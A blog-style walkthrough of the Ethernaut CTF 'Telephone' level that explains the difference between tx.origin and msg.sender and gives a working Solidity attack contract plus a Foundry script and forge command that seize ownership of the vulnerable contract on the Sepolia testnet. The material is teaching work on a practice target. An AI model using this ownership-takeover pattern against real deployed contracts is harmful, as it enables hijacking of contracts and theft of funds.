The Ethernaut CTF Solutions | 04 - Telephone

The Ethernaut CTF Solutions | 04 - Telephone

Phishing the Blockchain: Understanding `tx.origin` and `msg.sender`

ยท

3 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

The hack

Pretty short contract this time.

The goal here is to understand the difference between msg.sender and tx.origin. The Telephone contract is vulnerable to a phishing attack because it uses tx.origin to check who initiated the transaction.

  • tx.origin is the original sender of the transaction, the first account that signed the transaction. It can either be an EOA (Externally Owned Account) or an ERC-4337 contract. It is a static value that does not change, regardless of the number of calls in the stack (think nested transactions).

  • msg.sender is the address that initiated the latest call in the transaction. It can change if the transaction is a call from another contract for instance. So if there are multiple calls following each other in the same transaction, msg.sender will always be the address that initiated the latest call, and its value will change with every new call made within this transaction.

Example Explanation

  1. Direct Call (EOA to Contract)

    • EOA => Contract | tx.origin === msg.sender === EOA
  2. Indirect Call (EOA through Contract1 to Contract2)

    • EOA => Contract1 => Contract2

      • For Contract1: tx.origin === msg.sender === EOA

      • For Contract2: tx.origin === EOA, msg.sender === Contract1

In other words, we simply have to deploy an intermediary contract to bypass tx.origin != msg.sender. tx.origin will be our EOA while msg.sender will be the address of the intermediary contract.

Solution

Write another contract that calls the deployed Telephone contract and passes in the new owner's address

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract MissedCall {
    address immutable telephone;

    constructor(address _telephone) {
        telephone = _telephone;
    }

    function attack() public {
        ITelephone(telephone).changeOwner(msg.sender);
    }
}

Now let's write the deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {MissedCall} from "../src/04_Telephone.sol";

interface ITelephone {
    function owner() external view returns (address);
}

contract PoC is Script {
    // Replace with your Telephone instance
    ITelephone tel = ITelephone(0x78511757104F75fE89E6F291cB86f553ff3b4207);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(deployer);

        MissedCall ring = new MissedCall(address(tel));
        console2.log("Current Owner: ", tel.owner());
        ring.attack();
        console2.log("New Owner: ", tel.owner());

        vm.stopBroadcast();
    }
}

All we have left is to run the script that will deploy our attack contract and launch the hack:

forge script script/04_Telephone.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Usage of tx.origin should be done with care, as it can lead to phishing attacks;

  • Useful in certain cases where you want EOA accounts to call a function for example

Reference:

https://solidity-by-example.org/hacks/phishing-with-tx-origin/


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย